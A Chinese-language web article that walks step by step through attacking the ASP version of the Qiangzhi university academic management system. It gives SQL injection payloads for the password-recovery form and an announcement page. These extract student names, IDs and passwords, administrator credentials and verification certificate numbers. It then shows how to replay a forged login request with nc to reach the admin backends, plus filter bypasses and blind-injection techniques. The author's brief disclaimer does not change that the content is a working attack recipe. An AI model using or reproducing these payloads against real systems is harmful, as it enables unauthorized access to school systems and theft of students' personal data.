最新强智教务管理系统漏洞入侵

浏览:
字体:
发布时间:2015-09-06 14:06:30
来源:

使用“强智教务管理系统”的高校还是有一些的,该系统asp的那个版本还是存在一些漏洞的,一些想要想要做些事情的人还是还是可以做些事情的。

立场:因为能理解作为网站管理员的辛劳,本人对入侵他人网站并做出“让网站管理员不得不放弃吃饭睡觉打豆豆的时间来收拾烂摊子的事情”的人表示强烈抗议和谴责!!

很久很久以前有个学校也用强智的这个东西,每次选课那个慢的呀,现在改成.net版本了。鉴于仍然有学校保留这这个asp版本,并且并未对系统漏洞做任何修复,所以写下此文望大家(好人跟坏人们)好自为之….

强智教务管理系统入侵开始

强智教务管理系统asp版一个明显的漏洞就是在查询密码那,一些学校要求输入“学号+姓名+身份证号”就能得到密码,其实你只要知道任意一个就能得到密码的,不过本来这些信息就不是很重要哈,以学号获取密码为例:

首先打开强智教务登录页面,点击获取密码的功能,在学号的框内输入:

' or xh='这里是学号例如0101010101'--'

然后姓名跟身份证号任意填写避免为空不能提交,于是系统就会告诉你密码了

并且下面说的一些方法其实在这个密码查询的框内也是可以实现的,简单介绍下:

在文本框内输入

' and (这里是sql语句可以用于查询其它数据表)>0--'

一般会爆出你要查询的东西只要内容不是纯数字,如果是纯数字则用判断长度和大小的方法,如果错误信息被禁掉参见文章底部说明

另一个存在漏洞的地方也非常的不隐蔽,看看这个地址:

http://www.jubailan.com/jiaowu/Public/ShowGGTZ.asp?GGTZID=230 有没有发现这个网址的域名是我的站点哈哈,只是个例子而已不是真是存在的地址。真正的那个页面是个公告地址,在进入登陆界面的时候能看到晚上滚动的那个,进去之后自己比对地址,注意GGTZID=后面的数字以你进入的公告地址为准不要用我的,其实也并不是那么重要只在有时候起作用。 

在网址后面加一个半角英文的单引号

http://www.jubailan.com/jiaowu/Public/ShowGGTZ.asp?GGTZID=230'

于是构成了经典的sql注入攻击,下面就是浏览器显示出来的东西,不过你要把浏览器工具-internet选项-高级-显示友好错误提示的勾去掉(针对IE)。

Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14'   [Microsoft][ODBC SQL Server Driver][SQL Server]字符串 ' ' 之前有未闭合的引号。   /Public/ShowGGTZ.asp,行 7  

如果显示的不是上面这段而是“哈哈大家都是混口饭吃的不要欺人太甚,我鄙视你,我强烈鄙视你,我代表全国人民对你表示最最深刻最最强烈的抗议和谴责~”,那你就应该为中国站长的觉醒而大感欣慰吧。

继续上面,假设引号之后显示的是上面的错误提示,那基本上可以断定站长最近忙着学习其他科学文化知识忘记照看自己的我那个站了。不放心可以尝试用这两个个地址:

http://www.jubailan.com/jiaowu/Public/ShowGGTZ.asp?GGTZID=230 and 1=1 这个返回正常的页面  http://www.jubailan.com/jiaowu/Public/ShowGGTZ.asp?GGTZID=230 and 1=2 这个返回正常的找不到页面,一般提示“出现意外:找不到该信息,可能已被删除” 

如果你的情况跟我上面描述的一样那就确定你可以继续下去了,一些变态级聪明的管理员故意设下圈套的除外。

注入的下一步是要猜表名的,我一开始就猜出了好几个可是想要找到重要的表还是不是那么容易,不过我我已经做好这一步了又没让可爱的读者你去做。直接给你看攻击地址好了吧:

1.如果你只是很无聊想随便找找看,看数据表里的第一个人是哪个,那你在浏览器里输入这个网址:

http://域名路径/Public/ShowGGTZ.asp?GGTZID=230 or (select top 1 xm from V_GetXsmm)>0

“域名路径”根据自己的情况自行修改,“GGTZID=230”也要根据你查看的页面地址做修改

然后比较有可能你会看到下面的错误信息:

Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'   [Microsoft][ODBC SQL Server Driver][SQL Server]将 varchar 值 '橘白婪' 转换为数据类型为 int 的列时发生语法错误。   /Public/ShowGGTZ.asp,行 7  

“橘白婪”就是返回的学生的名字,之所以能那么容易是因为使用的是sql server数据库,如果是access那也许你会需要对每个字进行很繁琐的解码然后更繁琐的数字比较。

2.好了似乎拿到别人的名字不是那么有趣,如果你知道同校某个美女或者美男的名字想要看看这个人是否跟你门当户对好回家跟你父母交代,那么使用这条地址吧:

http://域名路径/Public/ShowGGTZ.asp?GGTZID=230 and (select top 1 len(xh) from V_GetXsmm where xm ='橘白婪')>1  这里是取得名字叫做“橘白婪”的男生的学号的长度,不要追究为什么是男生。。。看到最后一个数字没有,这表示学号的长度,现在是大于1,如果确实学号长度大于1那么返回正常的页面,否则返回“找不到信息”的页面,这样你就能一个一个测试直到判断出学号的长度。 

我判断得出的结果是学号长度=10;你可以把“>1”换成“=10”试试,不过不保证每个学校的学号都是10位数。

接下来就是判断学号是什么了,如果你本来就知道别人的学号那我就不管你了,因为学号的位数是10位,学号很有可能是个数字形式的那么接下来继续利用大小判断学号是什么

http://域名路径/ShowGGTZ.asp?GGTZID=230 and (select top 1 xh from V_GetXsmm where xm ='橘白婪')>1000000000

“>1000000000”是可以随便修改的,可以是小于等于号,数字可以是任意数字,不过记得前面算出学号有10位(注:开头为0的同样算);

我们假设获得的学号是“0101010101”,然后通过这个网址获得密码:

http://域名路径/Public/ShowGGTZ.asp?GGTZID=230 and (select top 1 mm from V_GetXsmm where xh=0101010101)>0

如果返回的是:

Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'   [Microsoft][ODBC SQL Server Driver][SQL Server]将 varchar 值 '***这里是密码哦!!!!*****' 转换为数据类型为 int 的列时发生语法错误。   /Public/ShowGGTZ.asp,行 7 

返回这样结果一般是因为密码不是纯数字不能进行>0的比较,文中“***这里是密码哦!!!!*****”就是密码了,好了用你获得的学号和密码就能登陆了,然后你可以看看ta的生辰八字是否跟你合适,如果不合适那你就此罢手吧。

强智教务登陆
强智教务登陆

需要注意的是,如果上面方法没有返回错误而是返回正常页面或者正常的“找不到信息”页面,那么就按照获取学号的方法判断密码。(xh代表学号,mm代表密码,xm代表姓名)

3.接下来看看管理员的账号:

http://域名路径/Public/ShowGGTZ.asp?GGTZID=230 and (select top 1 Account from Usertable)>0
http://域名路径/Public/ShowGGTZ.asp?GGTZID=230 and (select top 1 Account from Usertable  where UserMemo='administrator')>0

上面这两个网址都会返回一个错误,然后爆出管理员的账号(只要账号不是纯数字。。。如果是纯数字只能比较大小然后判断是什么)。第二个网址的出的是系统管理组的第一个账号,第一个网址则是任意管理组的,得到账号之后当然就要密码了:

http://域名路径/Public/ShowGGTZ.asp?GGTZID=230 and (select top 1 Password from Usertable where Account ='***jubailan这里是上面爆出的管理员用户名***')>0

如果是包含数字之外字符的密码那么直接就能爆出来了,如果是数字按照前面的方法处理,然后当然就剩登陆了。。。

强智教育漏洞登陆
强智教育漏洞登陆

强智教务管理系统客户端验证

也许你已经按照前面的方法登陆了,也许你还未能今进入只是因为这个强智教务管理系统的客户端验证功能,提示你在非法的电脑上操作,接下来就是破解客户端验证的方法。

一些粗心的站长没有将程序的验证安装程序删除并且保留在了原来的位置,

下面是强智教务管理系统的部署方案,里面提到验证证书的安装,包含这段文字,也许聪明的你会能在一些网站上下载到这个两个文件,不过我没用上他们所以不做更多说明:

教务证书号获取软件(GetDiskNumber.exe),教务证书安装软件(CheckDiskNumber.exe)在“Jwadmin”目录的“DataToData”目录中,该两个文件请妥善保管。系统安装好后,从该目录中删除。

强智教务的验证系统其实就是通过自己电脑里装的证书,然后在登陆的时候除了传递用户名密码还自动附加上一个“DiskNumber”参数,如果电脑里没有装那么就是“DiskNumber=error”,然后到服务器验证的时候就会判断“sys_config”表里的“s_AdminDNs”字段是否包含了你的DiskNumber,既然如此我们完全可以通过前面的方法爆出“sys_config”里的一个证书,然后通过WSockExpert抓取登陆的数据包,修改“DiskNumber=error”为“DiskNumber=你查询到的证书号”,通过nc提交,这时候你只要知道后台的管理地址默认就是登陆状态了。

http://域名路径/Public/ShowGGTZ.asp?GGTZID=230 and (select top 1 s_AdminDNs from sys_config)>0

这个地址能爆出一组证书来,这些证书以空格分隔,例如:

Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'   [Microsoft][ODBC SQL Server Driver][SQL Server]将 varchar 值 'WD-WMBM94142447 150TKKK L3PUJY0G MRG215K2UTPKNJ 567828216549 WD-WMAM96872447 WD-WMHM96606888 ' 转换为数据类型为 int 的列时发生语法错误。   /Public/ShowGGTZ.asp,行 7 

其实我并没有深究所有的这些东西是都都是证书号,我找了L3PUJY0G这样的,其它的不知道否都可以,大家可以自己尝试,比较有可能是可以的。

好了前面已经介绍过拿到系统管理员和教务管理员的账号和密码的方法,如果需要验证,那么你要做的是:

下载:WSockExpert,打开强智教务管理系统,选择教务或者系统管理员登陆,输入用户名密码不要急着登陆。用WSockExpert选择你打开的登陆窗口进行监控,然后登陆,会提示你在非法电脑上登陆,没关系,看看WSockExpert你会发现ta截取你发送的数据包,选择post打头的数据,下面的窗口的会显示详细的数据内容,内容如下:

POST /JwAdmin/LoginCheck.asp?datetime=2009-7-18%2021:52:35 HTTP/1.1 Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-silverlight, */* Referer: http://*****域名******/ Accept-Language: zh-cn User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2; .NET CLR 1.1.4322) Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate Host: *****域名****** Content-Length: 151 Connection: Keep-Alive Cache-Control: no-cache Cookie: ASPSESSIONIDGHYBBBQB=POBCLGCAECENFNPBNGHGCGDB; OpenWindow=  logindate=2009-7-18+22%3A12%3A49&LoginLb=jwc&Account=登陆用户名&PassWord=密码&AccessID=20090718215235.1414148&DiskNumber=error&x=27&y=13

把上面的所有内容保存成一个.txt文本文件(比如:login.txt)并且“DiskNumber=error”改成“DiskNumber=你前面获取过的证书保存成一个”,然后用nc重新提交,方法是在命令行工具中输入下面的命令(具体参见NC瑞士军刀的使用方法):

nc -vv 61.***.***.9 80<login.txt

61.***.***.9是网站的ip地址,通过命令行下ping域名可以查看,nc提交数据后然后一段字符冒出来命令执行完毕,于是你在IE中输入下面的地址就已经是登陆状态了:

用于教务管理员的地址,输入进入教务管理后台:

http://域名路径/jwgl/default.asp

强智教务管理系统后台
强智教务管理系统后台

用于系统管理员的地址,输入进入系统管理后台:

http://域名路径/jwadmin/default.asp

系统管理后台
系统管理后台

看了一下,功能貌似很强大,不过我除了进去看下没有做任何事情,跟你想象的一样我不敢,会给别人带来麻烦的撒。。

ps:强智教务管理系统这个注入漏洞是有过滤字符的,比如“Insert…into…”,还有一些其它的修改数据库的sql操作命令,把sql命令修改成这样就能使用的了“Insert/**/into….”,加上一些你知道的数据表名我相信你可以做出很多匪夷所思的事情来,但是千万不要做出一些自己无法控制的事情。。。

ps cs:如果错误信息被过滤了怎么办,那么使用len()函数先判断字段长度,然后substring(字段名,1,1)获取字段的第一个字符,ascii(substring(字段名,1,1))获取字段第一个字符的asc数字码,ascii(substring(字段名,2,1))判断第二个字符,通过判断这个数字大小可以一步步推出每个字符的asc码,然后对照查询出对应字符即可。例如在密码查询框学号框内输入下面字符,姓名跟身份证可随便填写:

这个用于判断管理组第一个用户名的长度,如果返回密码则“and”后面的sql的语句成立的,如果返回“信息填写不正确”之类的信息则证明and后面的语句是不成立的可以对“>0”做相应修改

' and (select top 1 len(Account) from Usertable)>0--' 

这个用于判断管理组第一个用户名的第一个字符的asc码,判断同上

' and (select top 1 ascii(substring(Account,1,1)) from Usertable)>0--'     更多信息来自东方联盟网:http://www.vm888.com
>更多相关文章
24小时热门资讯
24小时回复排行
资讯 | QQ | 安全 | 编程 | 数据库 | 系统 | 网络 | 考试 | 站长 | 关于东联 | 安全雇佣 | 搞笑视频大全 | 微信学院 | 视频课程 |
关于我们 | 联系我们 | 广告服务 | 免责申明 | 作品发布 | 网站地图 | 官方微博 | 技术培训
Copyright © 2007 - 2024 Vm888.Com. All Rights Reserved
粤公网安备 44060402001498号 粤ICP备19097316号 请遵循相关法律法规
');})();